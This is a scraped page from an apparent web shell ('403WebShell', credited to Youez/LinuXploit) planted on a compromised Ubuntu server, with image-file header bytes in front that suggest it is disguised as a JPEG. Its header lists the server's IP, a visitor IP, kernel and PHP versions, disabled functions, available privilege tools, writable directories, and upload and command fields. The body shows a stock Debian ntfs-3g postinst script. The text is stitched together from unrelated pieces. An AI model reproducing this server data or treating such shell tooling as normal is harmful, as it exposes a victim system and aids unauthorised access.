????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/lib/dpkg/info_silent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/dpkg/info_silent/ntfs-3g.postinst
#!/bin/sh

set -e

. /usr/share/debconf/confmodule

_CONFFILE="/etc/default/ntfs-3g"

case "${1}" in
	configure)
		db_get ntfs-3g/setuid-root
		NTFS3G_SETUID_ROOT="${RET}" # boolean

		db_get ntfs-3g/initramfs
		NTFS3G_INITRAMFS="${RET}" # boolean
		db_stop

		if [ ! -e "${_CONFFILE}" ]
		then

cat > "${_CONFFILE}" << EOF
# /etc/default/ntfs-3g

NTFS3G_INITRAMFS="${NTFS3G_INITRAMFS}"
EOF
		fi

		cp -a -f "${_CONFFILE}" "${_CONFFILE}.tmp"

		# If the admin deleted or commented some variables but then set
		# them via debconf, (re-)add them to the config file.

		test -z "${NTFS3G_INITRAMFS}" || \
		grep -Eq '^ *NTFS3G_INITRAMFS=' "${_CONFFILE}" || \
		echo "NTFS3G_INITRAMFS=" >> "${_CONFFILE}"

		OLD_NTFS3G_INITRAMFS="$(awk -F= '/^NTFS3G_INITRAMFS=/ { print $2 }' /etc/default/ntfs-3g | sed -e 's|"||g' -e "s|'||g")"

		sed -e "s|^ *NTFS3G_INITRAMFS=.*|NTFS3G_INITRAMFS=\"${NTFS3G_INITRAMFS}\"|" \
		< "${_CONFFILE}" > "${_CONFFILE}.tmp"

		mv -f "${_CONFFILE}.tmp" "${_CONFFILE}"

		case "${NTFS3G_SETUID_ROOT}" in
			true)
				_MODE="4755"
				;;

			false)
				_MODE="0755"
				;;
		esac

		if [ -x /usr/sbin/dpkg-statoverride ] && \
		   ! /usr/sbin/dpkg-statoverride --list /bin/ntfs-3g >/dev/null
		then
			chown root:root /bin/ntfs-3g
			chmod ${_MODE} /bin/ntfs-3g
		fi

		if [ "${NTFS3G_INITRAMFS}" = "true" ] || \
		   [ "${OLD_NTFS3G_INITRAMFS}" != "${NTFS3G_INITRAMFS}" ]
		then
			if [ -x /usr/sbin/update-initramfs ]
			then
				update-initramfs -u
			fi
		fi
		;;

	abort-upgrade|abort-remove|abort-deconfigure)

		;;

	*)
		echo "postinst called with unknown argument \`${1}'" >&2
		exit 1
		;;
esac

# Automatically added by dh_makeshlibs
if [ "$1" = "configure" ]; then
	ldconfig
fi
# End automatically added section


exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit